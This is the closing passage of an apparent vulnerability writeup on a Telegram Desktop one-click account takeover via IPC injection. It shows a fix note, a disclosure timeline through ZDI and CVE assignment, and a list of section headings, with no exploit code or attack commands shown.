<code>OPEN:</code>, and local file paths are dropped once a non-local URL has appeared on that connection.</p>\n<h2 id=\"timeline\">Timeline</h2>\n<div class=\"table-wrap\"><table><thead><tr><th>Date</th><th>Event</th></tr></thead><tbody><tr><td>2026-06-25</td><td>Reported through ZDI</td></tr><tr><td>2026-09-16</td><td>Vendor fixes the issue independently, commit <code>db3405699f</code></td></tr><tr><td>2026-09-17</td><td>Telegram Desktop 7.2.9 published</td></tr><tr><td>2026-09-30</td><td>ZDI closes the case as already fixed; disclosure rights return to me</td></tr><tr><td>2026-10-03</td><td>This writeup</td></tr><tr><td>2026-10-07</td><td>CVE-2026-107181 assigned</td></tr></tbody></table></div>\n<p>The fix shipped quietly: the 7.2.9 changelog mentions only a rendering fix, the commit that closes the chain is titled “Remove legacy interpret path helper”, and no advisory accompanied it.</p>\n<p><em>Licensed <a href=\"https://creativecommons.org/licenses/by/4.0/\" rel=\"nofollow ugc noopener\">CC BY 4.0</a> by the author.</em></p>","headings":[{"level":1,"text":"Telegram Desktop: one-click account takeover via IPC injection","id":"telegram-desktop-one-click-account-takeover-via-ipc-injection"},{"level":2,"text":"Introduction","id":"introduction"},{"level":2,"text":"One link, two processes","id":"one-link-two-processes"},{"level":2,"text":"The unescaped separator","id":"the-unescaped-separator"},{"level":2,"text":"The interpret: URI scheme","id":"the-interpret-uri-scheme"},{"level":1,"text":"Telegram/build/updates.py:206","id":"telegram-build-updates-py-206"},{"level":2,"text":"Getting the instruction file onto disk","id":"getting-the-instruction-file-onto-disk"},{"level":2,"text":"From file read to account takeover","id":"from-file-read-to-account-takeover"},{"level":2,"text":"Delivering the link","id":"delivering-the-link"},{"level":2,"text":"Proof of concept","id":"proof-of-concept"},{"level":2,"text":"Mitigations","id":"mitigations"},{"level":2,"text":"Fix","id":"fix"},{"level":2,"text":"Timeline","id":"timeline"}]}}